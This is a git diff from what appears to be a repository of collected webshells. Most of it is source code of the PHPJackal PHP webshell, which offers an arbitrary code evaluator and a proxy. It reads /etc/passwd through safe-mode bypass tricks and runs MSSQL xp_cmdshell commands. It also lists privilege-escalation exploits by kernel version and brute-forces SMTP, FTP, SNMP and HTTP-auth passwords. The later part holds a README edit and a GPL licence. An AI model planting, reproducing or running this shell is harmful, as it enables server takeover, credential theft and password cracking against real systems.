Navigator: $hcwd$et"; +if(!empty($_REQUEST['urL'])){ +$u=parse_url($_REQUEST['urL']); +$host=$u['host'];$file=(!empty($u['path']))?$u['path']:'/'; +$dir=dirname($file); +$con=getiT($_REQUEST['urL']); +$s=array("href=mailto"=>"HrEf=mailto","HREF=mailto"=>"HrEf=mailto","href='mailto"=>"HrEf=\"mailto","HREF=\"mailto"=>"HrEf=\"mailto","href=\'mailto"=>"HrEf=\"mailto","HREF=\'mailto"=>"HrEf=\"mailto","href=\"http"=>"HrEf=\"".hlinK("seC=px&urL=http"),"href=\'http"=>"HrEf=\"".hlinK("seC=px&urL=http"),"HREF=\'http"=>"HrEf=\"".hlinK("seC=px&urL=http"),"href=http"=>"HrEf=".hlinK("seC=px&urL=http"),"HREF=http"=>"HrEf=".hlinK("seC=px&urL=http"),"href=\""=>"HrEf=\"".hlinK("seC=px&urL=http://$host/$dir/"),"HREF=\""=>"HrEf=\"".hlinK("seC=px&urL=http://$host/$dir/"),"href=\""=>"HrEf=\'".hlinK("seC=px&urL=http://$host/$dir/"),'HREF="'=>'HrEf="'.hlinK("seC=px&urL=http://$host/$dir/"),"href="=>"HrEf=".hlinK("seC=px&urL=http://$host/$dir/"),"HREF="=>"HrEf=".hlinK("seC=px&urL=http://$host/$dir/")); +$con=replace_stR($s,$con); +echo $con; +} +} +function sqlclienT(){ +global $t,$errorbox,$et,$hcwd; +if(!empty($_REQUEST['serveR']) && !empty($_REQUEST['useR']) && isset($_REQUEST['pasS']) && !empty($_REQUEST['querY'])){ +$server=$_REQUEST['serveR'];$type=$_REQUEST['typE'];$pass=$_REQUEST['pasS'];$user=$_REQUEST['useR'];$query=$_REQUEST['querY']; +$db=(empty($_REQUEST['dB']))?'':$_REQUEST['dB']; +$res=querY($type,$server,$user,$pass,$db,$query); +if($res){ +$res=str_replace('|-|-|-|-|-|','',$res); +$res=str_replace('|+|+|+|+|+|','
',$res); +$r=explode('[+][+][+]',$res); +$r[1]=str_replace('[-][-][-]',"",$r[1]); +echo "
".$r[1].'
'.$r[0]."$et
"; +} +else{ +echo "$errorbox Failed!$et
"; +} +} +if(empty($_REQUEST['typE']))$_REQUEST['typE']=''; +echo "
${t}SQL cilent:
Server:
Username:
Password:
Database:
Query:
$hcwd$et"; +} +function querY($type,$host,$user,$pass,$db='',$query){ +$res=''; +switch($type){ +case 'MySQL': +if(!function_exists('mysql_connect'))return 0; +$link=mysql_connect($host,$user,$pass); +if($link){ +if(!empty($db))mysql_select_db($db,$link); +$result=mysql_query($query,$link); +while($data=mysql_fetch_row($result))$res.=implode('|-|-|-|-|-|',$data).'|+|+|+|+|+|'; +$res.='[+][+][+]'; +for($i=0;$i'; +if(!empty($_REQUEST['code'])){ +$s=array(''',''','?>'=>''); +echo "

'; +} +echo "${t}Evaler:
Codes:
$hcwd$et"; +} +function rootxpL(){ +$v=php_uname(); +$db=array('2.6.17'=>'prctl3, raptor_prctl, py2','2.6.16'=>'raptor_prctl, exp.sh, raptor, raptor2, h00lyshit','2.6.15'=>'py2, exp.sh, raptor, raptor2, h00lyshit','2.6.14'=>'raptor, raptor2, h00lyshit','2.6.13'=>'kdump, local26, py2, raptor_prctl, exp.sh, prctl3, h00lyshit','2.6.12'=>'h00lyshit','2.6.11'=>'krad3, krad, h00lyshit','2.6.10'=>'h00lyshit, stackgrow2, uselib24, exp.sh, krad, krad2','2.6.9'=>'exp.sh, krad3, py2, prctl3, h00lyshit','2.6.8'=>'h00lyshit, krad, krad2','2.6.7'=>'h00lyshit, krad, krad2','2.6.6'=>'h00lyshit, krad, krad2','2.6.2'=>'h00lyshit, krad, mremap_pte','2.6.'=>'prctl, kmdx, newsmp, pwned, ptrace_kmod, ong_bak','2.4.29'=>'elflbl, expand_stack, stackgrow2, uselib24, smpracer','2.4.27'=>'elfdump, uselib24','2.4.25'=>'uselib24','2.4.24'=>'mremap_pte, loko, uselib24','2.4.23'=>'mremap_pte, loko, uselib24','2.4.22'=>'loginx, brk, km2, loko, ptrace, uselib24, brk2, ptrace-kmod','2.4.21'=>'w00t, brk, uselib24, loginx, brk2, ptrace-kmod','2.4.20'=>'mremap_pte, w00t, brk, ave, uselib24, loginx, ptrace-kmod, ptrace, kmod','2.4.19'=>'newlocal, w00t, ave, uselib24, loginx, kmod','2.4.18'=>'km2, w00t, uselib24, loginx, kmod','2.4.17'=>'newlocal, w00t, uselib24, loginx, kmod','2.4.16'=>'w00t, uselib24, loginx','2.4.10'=>'w00t, brk, uselib24, loginx','2.4.9'=>'ptrace24, uselib24','2.4.'=>'kmdx, remap, pwned, ptrace_kmod, ong_bak','2.2.25'=>'mremap_pte','2.2.24'=>'ptrace','2.2.'=>'rip, ptrace'); +foreach($db as $k=>$x)if(strstr($v,$k))return $x; +return 0; +} +function toolS(){ +global $t,$hcwd,$et,$cwd; +if(!empty($_REQUEST['serveR']) && !empty($_REQUEST['domaiN'])){ +$ser=fsockopen($_REQUEST['serveR'],43,$en,$es,5); +fputs($ser,$_REQUEST['domaiN']."\r\n"); +echo '
';
+while(!feof($ser))echo fgets($ser,1024);
+echo '
'; +fclose($ser); +} +elseif(!empty($_REQUEST['urL'])){ +$h=''; +$u=parse_url($_REQUEST['urL']); +$host=$u['host'];$file=(!empty($u['path']))?$u['path']:'/';$port=(empty($u['port']))?80:$u['port']; +$ser=fsockopen($host,$port,$en,$es,5); +if($ser){ +fputs($ser,"GET $file\r\nHost: $host\r\n\r\n"); +echo '
';
+while($h!="\r\n"){$h=fgets($ser,1024);echo $h;}
+echo '
'; +fclose($ser); +} +} +elseif(!empty($_REQUEST['ouT']) && isset($_REQUEST['pW'])&& !empty($_REQUEST['uN'])){ +$htpasswd=$_REQUEST['ouT'].DIRECTORY_SEPARATOR.'.htpasswd'; +$htaccess=$_REQUEST['ouT'].DIRECTORY_SEPARATOR.'.htaccess'; +file_put_contents($htpasswd,$_REQUEST['uN'].':'.crypt(trim($_REQUEST['pW']),CRYPT_STD_DES)); +file_put_contents($htaccess,"AuthName \"Secure\"\r\nAuthType Basic\r\nAuthUserFile $htpasswd\r\nRequire valid-user\r\n"); +echo 'Done'; +} +$s="
"; +echo "
${t}WhoIs:${s}Server:
domain:
$hcwd$et
${t}.ht* generator:${s}Username:
Password:
Directory:
$hcwd$et
${t}Grab header:${s}URL:
$hcwd$et
"; +} +function hexvieW(){ +if(!empty($_REQUEST['filE'])){ +$f=$_REQUEST['filE']; +echo ""; +$file=fopen($f,'r'); +$i=-1; +while(!feof($file)){ +$ln=''; +$i++; +echo "'; +echo "'; +} +} +fclose($file); +echo '
OffsetHexASCII
";echo str_repeat('0',(8-strlen($i*16))).$i*16;echo '"; +for($j=0;$j<=7;$j++){ +if(!feof($file)){ +$tmp=strtoupper(dechex(ord(fgetc($file)))); +if(strlen($tmp)==1)$tmp='0'.$tmp; +echo $tmp.' '; +$ln.=$tmp; +} +} +echo ""; +for($j=7;$j<=14;$j++){ +if(!feof($file)){ +$tmp=strtoupper(dechex(ord(fgetc($file)))); +if(strlen($tmp)==1)$tmp='0'.$tmp; +echo $tmp.' '; +$ln.=$tmp; +} +} +echo ""; +$n=0;$asc='';$co=0; +for($k=0;$k<=16;$k++){ +$co=hexdec(substr($ln,$n,2)); +if(($co<=31)||(($co>=127)&&($co<=160)))$co=46; +$asc.=chr($co); +$n+=2; +} +echo htmlspecialchars($asc); +echo '
'; +} +function safemodE(){ +global $windows,$t,$hcwd,$et; +$file=(empty($_REQUEST['file']))?'/etc/passwd':$_REQUEST['file']; +$pr="\r\nMethod "; +$po=")\r\n"; +$i=1; +if(!empty($_REQUEST['read'])){ +echo "
$pr$i:(ini_restore$po";
+ini_restore('safe_mode');ini_restore('open_basedir');
+readfile($file);
+$i++;
+echo "$pr$i:(include$po";
+include($file);
+$i++;
+echo "$pr$i:(copy$po";
+$tmp=tempnam('','cx');
+copy('compress.zlib://'.$file,$tmp);
+$fh=fopen($tmp,'r');
+$data=fread($fh,filesize($tmp));
+fclose($fh);
+echo $data;
+$i++;
+if(function_exists('mb_send_mail')){
+echo "$pr$i:(mb_send_mail$po";
+if(file_exists('/tmp/mb_send_mail'))unlink('/tmp/mb_send_mail');
+mb_send_mail(NULL, NULL, NULL, NULL,'-C $file -X /tmp/mb_send_mail');
+readfile('/tmp/mb_send_mail');
+$i++;
+}
+if(function_exists('curl_init')){
+echo "$pr$i:(curl_init [A]$po";
+$fh=curl_init('file://'.$file.'');
+$tmp=curl_exec($fh);
+echo $tmp;
+$i++;
+echo "$pr$i:(curl_init [B]$po";
+$i++;
+if(strstr($file,DIRECTORY_SEPARATOR))$ch=curl_init('file:///'.$file."\x00/../../../../../../../../../../../../".__FILE__);
+else $ch=curl_init('file://'.$file."\x00".__FILE__);
+var_dump(curl_exec($ch));
+}
+if(is_writable('.')){
+echo "$pr$i:(php.ini$po";
+file_put_contents('php.ini','safe_mode = Off');
+readfile($file);
+unlink('php.ini');
+$i++;
+}
+if(extension_loaded('perl')){
+echo "$pr$i:(perl$po";	
+echo perlshelL("type \"$file\"");
+$i++;
+}
+if(is_object($ws=new COM('WScript.Shell'))){
+echo "$pr$i:(COM$po";
+echo comshelL("type \"$file\"",$ws);
+$i++;
+}
+if(extension_loaded('ffi') && $windows){
+echo "$pr$i:(FFI$po";
+echo ffishelL("type \"$file\"");
+$i++;
+}
+if(checkfunctioN('win_shell_execute')){
+echo "$pr$i:(win32std$po";
+echo winshelL("type \"$file\"");
+$i++;
+}
+if(checkfunctioN('win32_create_service')){
+echo "$pr$i:(win32service$po";
+echo srvshelL("type \"$file\"");
+$i++;
+}
+if(function_exists('imap_open')){
+echo "$pr$i:(imap [A]$po";
+$str=imap_open('/etc/passwd','','');
+$list=imap_list($str,$file,'*');
+for($i=0;$i";
+}
+elseif(!empty($_REQUEST['show'])){
+echo "
$pr$i:(glob$po";
+$con=glob("$file*");
+foreach ($con as $v)echo "$v\n";
+$i++;
+if(function_exists('imap_open')){
+echo "$pr$i:(imap$po";
+$str=imap_open('/etc/passwd','','');
+$s=explode("|",$file);
+if(count($s)>1)$list=imap_list($str,trim($s[0]),trim($s[1]));else $list=imap_list($str,trim($str[0]),'*');
+for($i=0;$i";
+}
+elseif(!empty($_REQUEST['sql'])){
+$ta=uniqid('N');
+$s=array("CREATE TEMPORARY TABLE $ta (file LONGBLOB)","LOAD DATA INFILE '".addslashes($_REQUEST['file'])."' INTO TABLE $ta","SELECT * FROM $ta");
+$l=mysql_connect('localhost', $_REQUEST['user'], $_REQUEST['pass']);
+mysql_select_db($_REQUEST['db'],$l);
+echo '
';
+foreach($s as $v){
+$q = mysql_query($v,$l);
+while($d=mysql_fetch_row($q))echo htmlspecialchars($d[0]);
+}
+echo '
'; +} +elseif(!empty($_REQUEST['serveR']) && !empty($_REQUEST['coM']) && !empty($_REQUEST['dB']) && !empty($_REQUEST['useR']) && isset($_REQUEST['pasS'])){ +$res=''; +$tb=uniqid('NJ'); +$db=mssql_connect($_REQUEST['serveR'],$_REQUEST['useR'],$_REQUEST['pasS']); +mssql_select_db($_REQUEST['dB'],$db); +mssql_query("create table $tb ( string VARCHAR (500) NULL)",$db); +mssql_query("insert into $tb EXEC master.dbo.xp_cmdshell '".$_REQUEST['coM']."'",$db); +$re=mssql_query("select * from $tb",$db); +while(($row=mssql_fetch_row($re))) +{ +$res.= $row[0]."\r\n"; +} +mssql_query("drop table $tb",$db); +mssql_close($db); +echo "

"; +} +$f=(!empty($_REQUEST['file']))?htmlspecialchars($_REQUEST['file']):'/etc/passwd'; +$u=(!empty($_REQUEST['user']))?htmlspecialchars($_REQUEST['user']):'root'; +$p=(!empty($_REQUEST['pass']))?htmlspecialchars($_REQUEST['pass']):'123456'; +$d=(!empty($_REQUEST['db']))?htmlspecialchars($_REQUEST['db']):'test'; +echo "
${t}Use PHP Bugs:
File:
$hcwd$et
${t}Use MySQL:
File:
Username:
Password:
Database:
$hcwd$et
${t}MSSQL Exec:
Server:
Username:
Password:
Command:
Database:      $hcwd$et"; +} +function crackeR(){ +global $errorbox,$t,$et,$crack,$cwd; +$check=(!empty($_REQUEST['dictionary']) && !empty($_REQUEST['target']))?1:0; +if(!empty($_REQUEST['cracK']) && !$check){ +$c=htmlspecialchars($_REQUEST['cracK']); +echo "
$t$c cracker:$crack"; +} +elseif(!empty($_REQUEST['cracK']) && $check){ +$pro=strtolower($_REQUEST['cracK']).'checK'; +$target=$_REQUEST['target']; +$type=$_REQUEST['combo']; +$user=(!empty($_REQUEST['user']))?$_REQUEST['user']:''; +$dictionary=fopen($_REQUEST['dictionary'],'r'); +if(isset($_REQUEST['loG'])&& !empty($_REQUEST['logfilE'])){$log=1;$file=$_REQUEST['logfilE'];}else $log=0; +if($dictionary){ +echo 'Cracking '.htmlspecialchars($target).'...
'; +while(!feof($dictionary)){ +if($type){ +$combo=trim(fgets($dictionary)," \n\r"); +$user=substr($combo,0,strpos($combo,':')); +$pass=substr($combo,strpos($combo,':')+1); +}else{ +$pass=trim(fgets($dictionary)," \n\r"); +} +$ret=$pro($target,$user,$pass,5); +if($ret==-1){echo "$errorbox Can not connect to server.$et";break;}else{ +if($ret){$x="U: $user P: $pass";echo "$x
";if($log)file_add_contentS($file,"$x\r\n");if(!$type)break;}} +} +echo '
Done
'; +fclose($dictionary); +} +else{ +echo "$errorbox Can not open dictionary.$et"; +} +} +else{ +echo "
$hcwd
[Hash] - [SMTP] - [POP3] - [IMAP] - [FTP] - [SNMP] - [MySQL] - [MSSQL] - [HTTP Form] - [HTTP Auth(basic)] - [Dictionary maker]$et"; +} +} +function snmpcrackeR(){ +global $t,$et,$errorbox,$hcwd; +if(!empty($_REQUEST['target']) && !empty($_REQUEST['dictionary'])){ +$target=$_REQUEST['target']; +if(isset($_REQUEST['loG'])&& !empty($_REQUEST['logfilE'])){$log=1;$file=$_REQUEST['logfilE'];}else $log=0; +$dictionary=fopen($_REQUEST['dictionary'],'r'); +if($dictionary){ +echo 'Cracking '.htmlspecialchars($target).'...
'; +while(!feof($dictionary)){ +$com=trim(fgets($dictionary)," \n\r"); +$res=snmpchecK($target,$com,2); +if($res){echo "$com
";if($log)file_add_contentS($file,"$com\r\n");} +} +echo '
Done
'; +fclose($dictionary); +} +else{ +echo "$errorbox Can not open dictionary.$et"; +} +}else echo "
${t}SNMP cracker:
Dictionary:
Server:
Log $et"; +} +function dicmakeR(){ +global $errorbox,$windows,$footer,$t,$et,$hcwd; +$combo=(empty($_REQUEST['combo']))?0:1; +if(!empty($_REQUEST['range'])&& !empty($_REQUEST['output']) && !empty($_REQUEST['min']) && !empty($_REQUEST['max'])){ +$min=$_REQUEST['min']; +$max=$_REQUEST['max']; +if($max<$min)die($errorbox."Bad input!$et".$footer); +$s=$w=''; +$out=$_REQUEST['output']; +$r=$_REQUEST['range']; +$dic=fopen($out,'w'); +if($r==1){ +for($s=pow(10,$min-1);$sDone'; +} +elseif(!empty($_REQUEST['input']) && !empty($_REQUEST['output'])){ +$input=fopen($_REQUEST['input'],'r'); +if(!$input){ +if($windows)echo $errorbox.'Unable to read from '.htmlspecialchars($_REQUEST['input'])."$et
"; +else{ +$input=explode("\n",shelL("cat $input")); +$output=fopen($_REQUEST['output'],'w'); +if($output){ +foreach($input as $in){ +$user=$in; +$user=trim(fgets($in)," \n\r"); +if(!strstr($user,':'))continue; +$user=substr($user,0,(strpos($user,':'))); +if($combo)fwrite($output,$user.':'.$user."\n");else fwrite($output,$user."\n"); +} +fclose($input);fclose($output); +echo 'Done'; +} +} +} +else{ +$output=fopen($_REQUEST['output'],'w'); +if($output){ +while(!feof($input)){ +$user=trim(fgets($input)," \n\r"); +if(!strstr($user,':'))continue; +$user=substr($user,0,(strpos($user,':'))); +if($combo)fwrite($output,$user.':'.$user."\n");else fwrite($output,$user."\n"); +} +fclose($input);fclose($output); +echo 'Done'; +} +else echo $errorbox.' Unable to write data to '.htmlspecialchars($_REQUEST['input'])."$et
"; +} +}elseif(!empty($_REQUEST['url']) && !empty($_REQUEST['output'])){ +$res=downloadiT($_REQUEST['url'],$_REQUEST['output']); +if($combo && $res){ +$file=file($_REQUEST['output']); +$output=fopen($_REQUEST['output'],'w'); +foreach($file as $v)fwrite($output,"$v:$v\n"); +fclose($output); +} +echo 'Done'; +}else{ +$temp=whereistmP().DIRECTORY_SEPARATOR; +echo "
${t}Wordlist generator:
Range:
Min lenght:
Max lenght:
Output:
Combo style output
$hcwd$et
${t}Grab dictionary:
Grab from:
Output:
Combo style output
$hcwd$et
${t}Download dictionary:
URL:
Output:
Combo style output
$hcwd$et";} +} +function ftpclienT(){ +global $t,$cwd,$hcwd,$errorbox,$et; +$td=""; +if(!empty($_REQUEST['hosT']) && !empty($_REQUEST['useR']) && isset($_REQUEST['pasS']) && function_exists('ftp_connect')){ +$user=$_REQUEST['useR'];$pass=$_REQUEST['pasS'];$host=$_REQUEST['hosT']; +$con=ftp_connect($_REQUEST['hosT'],21,10); +if($con){ +$ftp=ftp_login($con,$user,$pass); +if($ftp){ +if(!empty($_REQUEST['PWD']))ftp_chdir($con,$_REQUEST['PWD']); +if(!empty($_REQUEST['filE'])){ +$file=$_REQUEST['filE']; +$mode=(isset($_REQUEST['modE']))?FTP_BINARY:FTP_ASCII; +if(isset($_REQUEST['geT']))ftp_get($con,$file,$file,$mode); +elseif(isset($_REQUEST['puT']))ftp_put($con,$file,$file,$mode); +elseif(isset($_REQUEST['rM'])){ +ftp_rmdir($con,$file); +ftp_delete($con,$file); +} +elseif(isset($_REQUEST['mD']))ftp_mkdir($con,$file); +} +$pwd=ftp_pwd($con); +$dir=ftp_nlist($con,''); +$d=opendir($cwd); +echo "${td}Server:${td}Client:$td$td$td"; +foreach($dir as $n)echo "$n
"; +echo "$td";while($cdir=readdir($d))if($cdir!='.' && $cdir!='..')echo "$cdir
"; echo "${td}Name:Binary $td$et"; +}else echo "$errorbox Wrong username or password$et"; +}else echo "$errorbox Can not connect to server!$et"; +} +else{ +echo "
${t}FTP cilent:
Server:
Username:
Password:
$hcwd$et"; +} +} +function calC(){ +global $t,$et,$hcwd; +$fu=array('-','md5','sha1','crc32','hex','ip2long','decbin','dechex','hexdec','bindec','long2ip','base64_encode','base64_decode','urldecode','urlencode','des','strrev'); +if(!empty($_REQUEST['input']) && (in_array($_REQUEST['to'],$fu))){ +$to=$_REQUEST['to']; +echo "
${t}Output:
$et

"; +} +echo "
${t}Convertor:
Input:
Task:
$hcwd$et"; +} +function authcrackeR(){ +global $errorbox,$et,$t,$hcwd; +if(!empty($_REQUEST['target']) && !empty($_REQUEST['dictionary'])){ +if(isset($_REQUEST['loG'])&& !empty($_REQUEST['logfilE'])){$log=1;$file=$_REQUEST['logfilE'];}else $log=0; +$data=''; +$method=($_REQUEST['method'])?'POST':'GET'; +if(strstr($_REQUEST['target'],'?')){$data=substr($_REQUEST['target'],strpos($_REQUEST['target'],'?')+1);$_REQUEST['target']=substr($_REQUEST['target'],0,strpos($_REQUEST['target'],'?'));} +spliturL($_REQUEST['target'],$host,$page); +$type=$_REQUEST['combo']; +$user=(!empty($_REQUEST['user']))?$_REQUEST['user']:''; +if($method=='GET')$page.=$data; +$dictionary=fopen($_REQUEST['dictionary'],'r'); +echo ''; +while(!feof($dictionary)){ +if($type){ +$combo=trim(fgets($dictionary)," \n\r"); +$user=substr($combo,0,strpos($combo,':')); +$pass=substr($combo,strpos($combo,':')+1); +}else{ +$pass=trim(fgets($dictionary)," \n\r"); +} +$so=fsockopen($host,80,$en,$es,5); +if(!$so){echo "$errorbox Can not connect to host$et";break;} +else{ +$packet="$method /$page HTTP/1.0\r\nAccept-Encoding: text\r\nHost: $host\r\nReferer: $host\r\nConnection: Close\r\nAuthorization: Basic ".base64_encode("$user:$pass"); +if($method=='POST')$packet.='Content-Type: application/x-www-form-urlencoded\r\nContent-Length: '.strlen($data); +$packet.="\r\n\r\n"; +$packet.=$data; +fputs($so,$packet); +$res=substr(fgets($so),9,2); +fclose($so); +if($res=='20'){echo "U: $user P: $pass
";if($log)file_add_contentS($file,"U: $user P: $pass\r\n");} +} +} +echo 'Done!
'; +}else echo "
${t}HTTP Auth cracker:
Dictionary:
Dictionary type:Simple (P)Combo (U:P)
Username:
Server:
Log $hcwd $et"; +} +function openiT($name){ +$ext=strtolower(substr($name,strrpos($name,'.')+1)); +$src=array('php','php3','php4','phps','phtml','phtm','inc'); +if(in_array($ext,$src))highlight_file($name); +else echo '
'.htmlspecialchars(file_get_contents($name)).'
'; +} +function opensesS($name){ +$sess=file_get_contents($name); +$var=explode(';',$sess); +echo "
Name\tType\tValue\r\n";
+foreach($var as $v){
+$t=explode('|',$v);
+$c=explode(':',$t[1]);
+$y='';
+if($c[0]=='i')$y='Integer';elseif($c[0]=='s')$y='String';elseif($c[0]=='b')$y='Boolean';elseif($c[0]=='f')$y='Float';elseif($c[0]=='a')$y='Array';elseif($c[0]=='o')$y='Object';elseif($c[0]=='n')$y='Null';
+echo $t[0]."\t$y\t".$c[1]."\r\n";
+}
+echo '
'; +} +function logouT(){ +setcookie('passw','',time()-10000); +header('Location: '.hlinK()); +} +?> + + + + + +PHPJackal [<?php echo $cwd; ?>] + + +
[Back] - ">[Info] - ">[File manager] - ">[Editor] - ">[Web shell] - ">[B/R shell] - ">[Safe-mode] - ">[SQL] - ">[FTP] - ">[Mail] - ">[Evaler] - ">[Scanners] - ">[Crackers] - ">[Pr0xy] - ">[Tools] - ">[Convert] - ">[About] Logout]";?>
+
+ \ No newline at end of file diff --git "a/\344\270\200\345\217\245\350\257\235/bypass_RCE_php.gif" "b/Php/\345\233\276\347\211\207\344\270\200\345\217\245\350\257\235/bypass_RCE_php.gif" similarity index 100% rename from "\344\270\200\345\217\245\350\257\235/bypass_RCE_php.gif" rename to "Php/\345\233\276\347\211\207\344\270\200\345\217\245\350\257\235/bypass_RCE_php.gif" diff --git a/README.md b/README.md index c9e9aa3..e7b077a 100755 --- a/README.md +++ b/README.md @@ -1,34 +1,44 @@ -# WebShell -This is a webshell open source project https://github.com/xl7dev/WebShell - -## Category - -- Aar -- Ascx -- Ashx -- Asmx -- Asp -- Aspx -- C -- Cfm -- Cgi -- Javascript -- Jsp -- Jspx -- Mysql -- Nginx -- Php -- Pl -- Udp -- icmp -- jar -- nodejs -- python -- ruby -- servlet -- Sh -- War -- Xml -- Other - -Author: 小乐倩 From: Knownsec \ No newline at end of file +# WebShell +This is a webshell open source project https://github.com/xl7dev/WebShell + +## Category +- Aar +- Ascx +- Ashx +- Asmx +- Asp +- Aspx +- C +- Cfm +- Cgi +- Javascript +- Jsp +- Jspx +- LICENSE +- Mysql +- Nginx +- Other +- Php +- Pl +- README.md +- SSH +- Soap +- Udp +- WeBaCoo +- gdog +- icmp +- jar +- nodejs +- openfire +- osx +- pwnginx +- python +- reGeorg-master +- ruby +- servlet +- sh +- war +- xml +- xssshell + +Author: 小乐倩 diff --git a/gdog/.gitignore b/gdog/.gitignore new file mode 100644 index 0000000..c800ac6 --- /dev/null +++ b/gdog/.gitignore @@ -0,0 +1,71 @@ +# Byte-compiled / optimized / DLL files +__pycache__/ +*.py[cod] +*$py.class + +# C extensions +*.so + +# Distribution / packaging +.Python +env/ +build/ +develop-eggs/ +dist/ +downloads/ +eggs/ +.eggs/ +lib/ +lib64/ +parts/ +sdist/ +var/ +*.egg-info/ +.installed.cfg +*.egg + +# PyInstaller +# Usually these files are written by a python script from a template +# before PyInstaller builds the exe, so as to inject date/other infos into it. +*.manifest +*.spec + +# Installer logs +pip-log.txt +pip-delete-this-directory.txt + +# Unit test / coverage reports +htmlcov/ +.tox/ +.coverage +.coverage.* +.cache +nosetests.xml +coverage.xml +*,cover +.hypothesis/ + +# Translations +*.mo +*.pot + +# Django stuff: +*.log + +# Sphinx documentation +docs/_build/ + +# PyBuilder +target/ + +#Ipython Notebook +.ipynb_checkpoints + +# PyDev +RemoteSystemsTempFiles +.project +.pydevproject +.metadata +.settings +*.prefs + diff --git a/gdog/LICENSE b/gdog/LICENSE new file mode 100644 index 0000000..9cecc1d --- /dev/null +++ b/gdog/LICENSE @@ -0,0 +1,674 @@ + GNU GENERAL PUBLIC LICENSE + Version 3, 29 June 2007 + + Copyright (C) 2007 Free Software Foundation, Inc. + Everyone is permitted to copy and distribute verbatim copies + of this license document, but changing it is not allowed. + + Preamble + + The GNU General Public License is a free, copyleft license for +software and other kinds of works. + + The licenses for most software and other practical works are designed +to take away your freedom to share and change the works. By contrast, +the GNU General Public License is intended to guarantee your freedom to +share and change all versions of a program--to make sure it remains free +software for all its users. We, the Free Software Foundation, use the +GNU General Public License for most of our software; it applies also to +any other work released this way by its authors. You can apply it to +your programs, too. + + When we speak of free software, we are referring to freedom, not +price. Our General Public Licenses are designed to make sure that you +have the freedom to distribute copies of free software (and charge for +them if you wish), that you receive source code or can get it if you +want it, that you can change the software or use pieces of it in new +free programs, and that you know you can do these things. + + To protect your rights, we need to prevent others from denying you +these rights or asking you to surrender the rights. Therefore, you have +certain responsibilities if you distribute copies of the software, or if +you modify it: responsibilities to respect the freedom of others. + + For example, if you distribute copies of such a program, whether +gratis or for a fee, you must pass on to the recipients the same +freedoms that you received. You must make sure that they, too, receive +or can get the source code. And you must show them these terms so they +know their rights. + + Developers that use the GNU GPL protect your rights with two steps: +(1) assert copyright on the software, and (2) offer you this License +giving you legal permission to copy, distribute and/or modify it. + + For the developers' and authors' protection, the GPL clearly explains +that there is no warranty for this free software. For both users' and +authors' sake, the GPL requires that modified versions be marked as +changed, so that their problems will not be attributed erroneously to +authors of previous versions. + + Some devices are designed to deny users access to install or run +modified versions of the software inside them, although the manufacturer +can do so. This is fundamentally incompatible with the aim of +protecting users' freedom to change the software. The systematic +pattern of such abuse occurs in the area of products for individuals to +use, which is precisely where it is most unacceptable. Therefore, we +have designed this version of the GPL to prohibit the practice for those +products. If such problems arise substantially in other domains, we +stand ready to extend this provision to those domains in future versions +of the GPL, as needed to protect the freedom of users. + + Finally, every program is threatened constantly by software patents. +States should not allow patents to restrict development and use of +software on general-purpose computers, but in those that do, we wish to +avoid the special danger that patents applied to a free program could +make it effectively proprietary. To prevent this, the GPL assures that +patents cannot be used to render the program non-free. + + The precise terms and conditions for copying, distribution and +modification follow. + + TERMS AND CONDITIONS + + 0. Definitions. + + "This License" refers to version 3 of the GNU General Public License. + + "Copyright" also means copyright-like laws that apply to other kinds of +works, such as semiconductor masks. + + "The Program" refers to any copyrightable work licensed under this +License. Each licensee is addressed as "you". "Licensees" and +"recipients" may be individuals or organizations. + + To "modify" a work means to copy from or adapt all or part of the work +in a fashion requiring copyright permission, other than the making of an +exact copy. The resulting work is called a "modified version" of the +earlier work or a work "based on" the earlier work. + + A "covered work" means either the unmodified Program or a work based +on the Program. + + To "propagate" a work means to do anything with it that, without +permission, would make you directly or secondarily liable for +infringement under applicable copyright law, except executing it on a +computer or modifying a private copy. Propagation includes copying, +distribution (with or without modification), making available to the +public, and in some countries other activities as well. + + To "convey" a work means any kind of propagation that enables other +parties to make or receive copies. Mere interaction with a user through +a computer network, with no transfer of a copy, is not conveying. + + An interactive user interface displays "Appropriate Legal Notices" +to the extent that it includes a convenient and prominently visible +feature that (1) displays an appropriate copyright notice, and (2) +tells the user that there is no warranty for the work (except to the +extent that warranties are provided), that licensees may convey the +work under this License, and how to view a copy of this License. If +the interface presents a list of user commands or options, such as a +menu, a prominent item in the list meets this criterion. + + 1. Source Code. + + The "source code" for a work means the preferred form of the work +for making modifications to it. "Object code" means any non-source +form of a work. + + A "Standard Interface" means an interface that either is an official +standard defined by a recognized standards body, or, in the case of +interfaces specified for a particular programming language, one that +is widely used among developers working in that language. + + The "System Libraries" of an executable work include anything, other +than the work as a whole, that (a) is included in the normal form of +packaging a Major Component, but which is not part of that Major +Component, and (b) serves only to enable use of the work with that +Major Component, or to implement a Standard Interface for which an +implementation is available to the public in source code form. A +"Major Component", in this context, means a major essential component +(kernel, window system, and so on) of the specific operating system +(if any) on which the executable work runs, or a compiler used to +produce the work, or an object code interpreter used to run it. + + The "Corresponding Source" for a work in object code form means all +the source code needed to generate, install, and (for an executable +work) run the object code and to modify the work, including scripts to +control those activities. However, it does not include the work's +System Libraries, or general-purpose tools or generally available free +programs which are used unmodified in performing those activities but +which are not part of the work. For example, Corresponding Source +includes interface definition files associated with source files for +the work, and the source code for shared libraries and dynamically +linked subprograms that the work is specifically designed to require, +such as by intimate data communication or control flow between those +subprograms and other parts of the work. + + The Corresponding Source need not include anything that users +can regenerate automatically from other parts of the Corresponding +Source. + + The Corresponding Source for a work in source code form is that +same work. + + 2. Basic Permissions. + + All rights granted under this License are granted for the term of +copyright on the Program, and are irrevocable provided the stated +conditions are met. This License explicitly affirms your unlimited +permission to run the unmodified Program. The output from running a +covered work is covered by this License only if the output, given its +content, constitutes a covered work. This License acknowledges your +rights of fair use or other equivalent, as provided by copyright law. + + You may make, run and propagate covered works that you do not +convey, without conditions so long as your license otherwise remains +in force. You may convey covered works to others for the sole purpose +of having them make modifications exclusively for you, or provide you +with facilities for running those works, provided that you comply with +the terms of this License in conveying all material for which you do +not control copyright. Those thus making or running the covered works +for you must do so exclusively on your behalf, under your direction +and control, on terms that prohibit them from making any copies of +your copyrighted material outside their relationship with you. + + Conveying under any other circumstances is permitted solely under +the conditions stated below. Sublicensing is not allowed; section 10 +makes it unnecessary. + + 3. Protecting Users' Legal Rights From Anti-Circumvention Law. + + No covered work shall be deemed part of an effective technological +measure under any applicable law fulfilling obligations under article +11 of the WIPO copyright treaty adopted on 20 December 1996, or +similar laws prohibiting or restricting circumvention of such +measures. + + When you convey a covered work, you waive any legal power to forbid +circumvention of technological measures to the extent such circumvention +is effected by exercising rights under this License with respect to +the covered work, and you disclaim any intention to limit operation or +modification of the work as a means of enforcing, against the work's +users, your or third parties' 